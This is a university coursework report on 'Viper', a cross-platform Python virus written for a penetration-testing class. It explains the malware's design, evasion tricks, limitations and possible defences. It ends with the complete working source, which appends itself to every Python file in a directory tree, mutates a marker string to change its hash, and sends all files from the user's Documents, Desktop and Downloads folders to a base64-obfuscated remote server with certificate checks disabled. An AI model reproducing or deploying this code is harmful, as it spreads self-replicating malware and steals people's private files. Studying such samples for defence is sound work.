Hugo Smith (23620112)

Viper: An Advanced Data Extraction Virus

Introduction:

In the modern digital landscape, the large quantity of cross-platform systems has led to a growing interest in malware that can target multiple operating systems. The ability of such malware to operate seamlessly across different platforms not only expands its reach but also presents significant challenges to traditional security measures. This report presents the design, implementation, and analysis of a multi-platform malware named Viper developed as part of a penetration testing exercise for the CITS3006 course. Viper is designed to infect hosts running Windows, Linux, and macOS, exhibiting behaviours characteristic of a sophisticated virus, including evasion techniques, mutation capabilities, and stealthy data exfiltration.

The report will go over the malware's architecture and design principles, providing insights into the specific strategies used to ensure its functionality across different operating systems. Additionally, the implementation and usage of Viper will be discussed, along with the challenges encountered and limitations inherent in the malware's design. Finally, the report will explore potential security solutions that could be employed to mitigate the threats posed by Viper, emphasizing the importance of robust cross-platform security measures.

Design

The design of Viper focuses on creating a versatile piece of malware capable of infecting and operating on multiple operating systems—specifically, Windows, Linux, and macOS. The malware's architecture is modular, allowing it to tailor its operations based on the detected operating system. This adaptability is key to ensuring that the malware can execute its payload effectively, regardless of the underlying system environment.

1. Target Identification and OS Detection:

Viper begins by identifying the operating system of the target machine. This is achieved using Python's `platform` module, which provides reliable information about the system's OS. The malware then customizes its behaviour based on the OS detected, ensuring compatibility and effective execution.

2. *Message Display:*

The malware includes a function to display a warning message to the user, informing them of the infection. This message is tailored for each operating system:

- On Windows, a message box is displayed using the `` `ctypes` `` library.

- On Linux, the message is shown using Zenity (a graphical dialog tool) or Tkinter if Zenity is unavailable.

- On macOS, the message is displayed via AppleScript using the `` `osascript` `` command.

3. *Virus-like Behaviour and Mutation:*

Viper mimics virus-like behaviour by replicating itself across files in the current directory and any subdirectories. This replication is accompanied by a mutation mechanism, where the malware's code is altered slightly with each replication. The mutation involves modifying a sequence embedded in the malware's code, which serves as a form of polymorphism, making each copy of the malware slightly different. This change is sufficient to alter Viper's hash to avoid detection by antivirus software. Before Viper infects a file, it checks whether it contains the ‘`CURRENT_SEQUENCE`’ variable to avoid unnecessarily reinfecting files.

4. *Data Exfiltration:*

The malware includes a data exfiltration component designed to stealthily extract files from the infected system. Viper targets specific directories commonly used to store personal information, such as the Documents, Desktop, and Downloads folders. These targets can be readily shifted to whichever files the attacker desires by adding their filepaths. The selected files are then transmitted to a remote server, with the server's URL obfuscated using base64 encoding to avoid detection during static analysis. These files are transmitted over HTTPS using a self-signed certificate. This encrypts the data sent and mitigates the impact of Data Loss Prevention (DLP). Viper also caters to the operating system in which it is executing, specifying different pathnames for Linux, Windows, and macOS.

5. *Evasion Techniques:*

To enhance its stealth, Viper employs several evasion techniques. For instance, on Windows, the malware includes a simple anti-debugging mechanism that checks for the presence of a debugger and terminates execution if one is detected. Additionally, the use of runtime decoding for the exfiltration server URL and the polymorphic mutation of the code make the malware more difficult to analyse and detect. A time limit is started as the program begins and exits the program early if the time limit is exceeded. This aims to prevent the use of analysers such as GDB, as extended analysis is not possible. Although Viper's python code is easily analysed with something as basic as VSCode, the program can be made into a binary file with command line tools such as PyInstaller or encrypted to base64 with tools such as msfvenom.

Implementation and Usage

The implementation of Viper is written in Python, leveraging the language's cross-platform capabilities to ensure the malware operates consistently across different operating systems. The following sections outline the key components of the implementation:

1. *OS Detection and Custom Behaviour:*

The ``platform.system()`` function is utilized to identify the target operating system. Based on the detected OS, the malware branches into different functions designed to handle OS-specific tasks, such as displaying the infection message and implementing anti-debugging measures.

2. *Mutation and Replication:*

The mutation mechanism is implemented through the ``mutate_sequence()`` function, which randomly alters a predefined genetic sequence embedded in the malware's code. This mutation, along with the replication of the malware into other Python files within the same directory, is managed by the ``copy_self_to_other_files()`` function. The code is inserted into other files while preserving their original content, ensuring that the malware spreads while maintaining the appearance of normalcy.

3. *Data Exfiltration:*

Viper's exfiltration functionality is implemented using the ``requests`` library, which facilitates the transmission of files to a remote server. The target files are identified by searching key directories, and the server URL is dynamically decoded at runtime to avoid detection during analysis. The files are exfiltrated in a stealthy manner via a HTTPS connection, with minimal disruption to the host system. Attacker-side, a simple Flask server monitors port 4443 for incoming files.

4. *User Interaction:*

The malware is designed to operate stealthily, minimizing any noticeable disruptions to the user. Error messages that would normally be printed to the standard output are silently redirected to `os.devnull`, effectively discarding them and preventing the user from noticing any irregularities during execution. For Windows systems, the use of `warnings.simplefilter('ignore', InsecureRequestWarning)` further enhances this stealth by suppressing warnings related to insecure HTTPS requests. This tactic ensures that the user remains unaware of potentially dangerous connections being made to untrusted servers. Additionally, the malware employs a deceptive technique when infecting files. Instead of overwriting the existing content, the original code of the infected file is preserved and appended to the end of the file. This approach maintains the file’s apparent functionality, making it difficult for the user to detect any changes.

Limitations

While Viper demonstrates several advanced features, there are inherent limitations to its design and implementation:

1. *Detection and Analysis:*

Despite its mutation capabilities, Viper's reliance on Python makes it vulnerable to detection by static analysis tools that can decompile and examine the code. Additionally, the use of the base64 encoding for the server URL, while obfuscating it, is not a robust encryption method and can be easily decoded by an experienced analyst.

2. *Limited Polymorphism:*

The mutation mechanism implemented in Viper is relatively simple and may not be sufficient to evade detection by sophisticated antivirus software that employs heuristic analysis. More advanced polymorphic techniques, such as encrypting the entire payload with a unique key for each infection, could enhance the malware's evasiveness.

3. *Dependency on External Tools:*

The malware's reliance on external tools like Zenity (on Linux) and AppleScript (on macOS) introduces dependencies that may not be present on all target systems. If these tools are unavailable, the malware's ability to display the infection message is compromised. There are also several modules that may not be installed on the victims machine, including requests, zenity, tkinter, and of course – python.

4. *Exfiltration Bandwidth and Targeting:*

The exfiltration process relies on a stable, unmonitored network connection, which could be compromised in environments with strict monitoring or limited bandwidth. Initially targeting generic directories, the malware can be enhanced by focusing on specific file types and locations likely to contain sensitive data, such as financial records or system configurations. To avoid detection when encountering permission-denied errors, the malware can silently handle these exceptions, ensuring that any attempts to access protected files do not alert the user. By refining its targeting and suppressing error messages, the malware can more effectively exfiltrate sensitive data while maintaining its stealth.

Security Solutions

To mitigate the threats posed by malware like Viper, several security measures can be implemented across different operating systems:

1. *Behavioural Analysis and Sandboxing:*

One of the most effective ways to detect and prevent malware like Viper is through behavioural analysis and sandboxing techniques. By executing suspicious programs in a controlled environment, security software can observe their behaviour, such as file modifications, network communication, and attempts to replicate. If the behaviour matches known malicious patterns, the software can block the program before it causes harm.

2. *Advanced Polymorphism Detection:*

Security solutions should include advanced techniques to detect polymorphic malware. This can involve pattern recognition algorithms that identify common elements across different mutations of the malware, as well as deep learning models that can predict the evolution of the code.

3. *Network Monitoring and Data Loss Prevention (DLP):*

Implementing network monitoring tools that analyse outgoing traffic can help detect and block unauthorized data exfiltration. Data Loss Prevention (DLP) systems can be configured to monitor and control the flow of sensitive information, ensuring that any attempt to transmit protected data to an external server is flagged or blocked.

4. *Application Whitelisting and Script Blocking:*

To prevent malware from executing on a system, administrators can implement application whitelisting, which only allows approved programs to run. Additionally, blocking the execution of scripts, especially those written in interpreted languages like Python, can reduce the attack surface by preventing the execution of unauthorized code.

5. *User Education and Awareness:*

Educating users about the risks of malware and the importance of maintaining security hygiene, such as not downloading unknown files or executing scripts from untrusted sources, can significantly reduce the chances of infection. Regular training and awareness programs can empower users to recognize and avoid potential threats.

6. *Endpoint Detection and Response (EDR)* :

EDR tools could effectively be used to detect abnormalities caused by the execution of Viper. The mass copying of files and transmission to an external server would be effectively detected by EDR tools, which are designed to monitor and analyse endpoint activities in real-time. These tools use behavioural analysis and threat intelligence to identify suspicious activities such as unusual file operations, network communications, or processes that indicate the presence of malware like Viper. When an anomaly is detected, EDR solutions can automatically respond by isolating the affected endpoint, stopping the malicious process, or alerting security teams for further investigation

Conclusion

Viper serves as a demonstration of the potential dangers posed by multi-platform malware in an increasingly interconnected world. Through its ability to infect multiple operating systems, exhibit virus-like behaviours, and exfiltrate data, Viper highlights the need for robust and adaptive security measures. The design and implementation of such malware underscore the importance of ongoing research and development in cybersecurity to counteract evolving threats. While Viper has its limitations, it provides valuable insights into the techniques that can be employed by malicious actors and the defences that must be developed to protect against them.

```python
import platform
import os
import time
import ctypes
import random
import base64
import subprocess
import tkinter as tk
from tkinter import messagebox
import requests
import warnings
from urllib3.exceptions import InsecureRequestWarning

# Suppress InsecureRequestWarnings
warnings.simplefilter('ignore', InsecureRequestWarning)

# Root genetic sequence
CURRENT_SEQUENCE = "1234567890abcdef"

# Obfuscated server URL for exfiltration (base64 encoded)
encoded_server_url = "aHR0cHM6Ly8xOTIuMTY4LjEwMC41OjQ0NDMvbG9n"

# Decode URL at runtime
server_url = base64.b64decode(encoded_server_url).decode('utf-8')

start_time = time.time()


def anti_debugger():
    """Detects if the script is running under a debugger."""
    if ctypes.windll.kernel32.IsDebuggerPresent():
        exit(1)


def mutate_sequence(sequence):
    """Randomly mutates one character in the genetic sequence."""
    sequence_list = list(sequence)
    characters = '1234567890abcdef'

    mutate_pos = random.randint(0, len(sequence) - 1)
    current_char = sequence_list[mutate_pos]
    new_char = random.choice([char for char in characters if char != current_char])
    sequence_list[mutate_pos] = new_char

    return ''.join(sequence_list)


def check_for_sequence_in_file(target_path):
    """Checks if the target file contains the CURRENT_SEQUENCE variable."""
    try:
        with open(target_path, 'r') as file:
            return "CURRENT_SEQUENCE" in file.read()
    except Exception:
        return True  # Assume the file contains the sequence if it can't be read


def merge_code(self_code, target_path, sequence, parent_sequence):
    """Merges the current script's code with the existing code in the target file."""
    with open(target_path, 'r') as target_file:
        original_code = target_file.read()

    new_code = f"{self_code}\n\n# Old code below:\n{original_code}"
    with open(target_path, 'w') as target_file:
        target_file.write(new_code)


def replace_sequence_in_self_code(self_code, new_sequence, parent_sequence):
    """Replaces the CURRENT_SEQUENCE in the code and adds the parent sequence."""
    lines = self_code.splitlines()
    new_lines = []
    sequence_replaced = False

    for line in lines:
        if line.startswith("CURRENT_SEQUENCE = "):
            new_lines.append(f"CURRENT_SEQUENCE = \"{new_sequence}\"")
            new_lines.append(f"# Parent sequence: {parent_sequence}")
            sequence_replaced = True
        else:
            new_lines.append(line)

    if not sequence_replaced:
        new_lines.insert(0, f"CURRENT_SEQUENCE = \"{new_sequence}\"")
        new_lines.insert(1, f"# Parent sequence: {parent_sequence}")

    return "\n".join(new_lines)


def copy_self_to_other_files(directory, self_path):
    """Copies the current script's code into all other Python files in the
directory."""
    global CURRENT_SEQUENCE

    with open(self_path, 'r') as self_file:
        self_code = self_file.read()

    parent_sequence = CURRENT_SEQUENCE
    CURRENT_SEQUENCE = mutate_sequence(CURRENT_SEQUENCE)
    self_code = replace_sequence_in_self_code(self_code, CURRENT_SEQUENCE,
parent_sequence)

    shebang = "#!/usr/bin/env python3\n\n"
    self_code = f"{shebang}{self_code}"

    for root, dirs, files in os.walk(directory):
        for file in files:
            if file.endswith(".py") and file != os.path.basename(self_path):
                target_path = os.path.join(root, file)
                if not check_for_sequence_in_file(target_path):
                    merge_code(self_code, target_path, CURRENT_SEQUENCE, 
parent_sequence)


def show_popup_linux():
    """Displays a popup message on Linux using Zenity or Tkinter."""
    try:
        subprocess.run(
            ["zenity", "--info", "--text=You are infected with the malware!", "--
title=Malware Alert"],
            check=True,
            stderr=open(os.devnull, 'w')
        )
    except FileNotFoundError:
        root = tk.Tk()
        root.withdraw()
        messagebox.showinfo("Malware Alert", "You are infected with the malware!")


def show_popup_windows():
    """Displays a popup message on Windows."""
    ctypes.windll.user32.MessageBoxW(0, "You are infected with the malware!", 
"Malware Alert", 1)


def show_popup_macos():
    """Displays a popup message on macOS using AppleScript."""
    script = 'display dialog "You are infected with the malware!" with title "Malware 
Alert" buttons {"OK"}'
    subprocess.run(["osascript", "-e", script])


def find_files_to_exfiltrate():
    """Finds files in key locations depending on the OS."""
    files_to_exfiltrate = []

    key_locations = {
        "Windows": [
            os.path.expandvars(r"%USERPROFILE%\Documents"),
            os.path.expandvars(r"%USERPROFILE%\Desktop"),
            os.path.expandvars(r"%USERPROFILE%\Downloads")
        ],
        "Linux": [
            os.path.expanduser("~/Documents"),
            os.path.expanduser("~/Desktop"),
            os.path.expanduser("~/Downloads")
        ],
        "Darwin": [
            os.path.expanduser("~/Documents"),
            os.path.expanduser("~/Desktop"),
            os.path.expanduser("~/Downloads")
        ]
    }

    os_name = platform.system()
    locations = key_locations.get(os_name, [])
    for location in locations:
        if os.path.exists(location):
            for root, dirs, files in os.walk(location):
                for file in files:
                    file_path = os.path.join(root, file)
                    files_to_exfiltrate.append(file_path)

    return files_to_exfiltrate


def exfiltrate_files(files):
    """Exfiltrates files to the server."""
    for file in files:
        try:
            with open(file, 'rb') as f:
                files = {'log': (os.path.basename(file), f)}
                requests.post(server_url, files=files, verify=False, timeout=10)
        except Exception:
            pass


def main():
    """Main function to detect the OS and execute the malware functionality."""
    os_name = platform.system()

    if os_name == "Windows":
        anti_debugger()
        show_popup_windows()
    elif os_name == "Linux":
        show_popup_linux()
    elif os_name == "Darwin":
        show_popup_macos()
    else:
        exit(1)

    current_directory = os.getcwd()
    self_path = os.path.realpath(__file__)
    copy_self_to_other_files(current_directory, self_path)

    files = find_files_to_exfiltrate()
    if files:
        exfiltrate_files(files)

    if time.time() - start_time > 5:
        exit(1)

if __name__ == "__main__":
    main()
```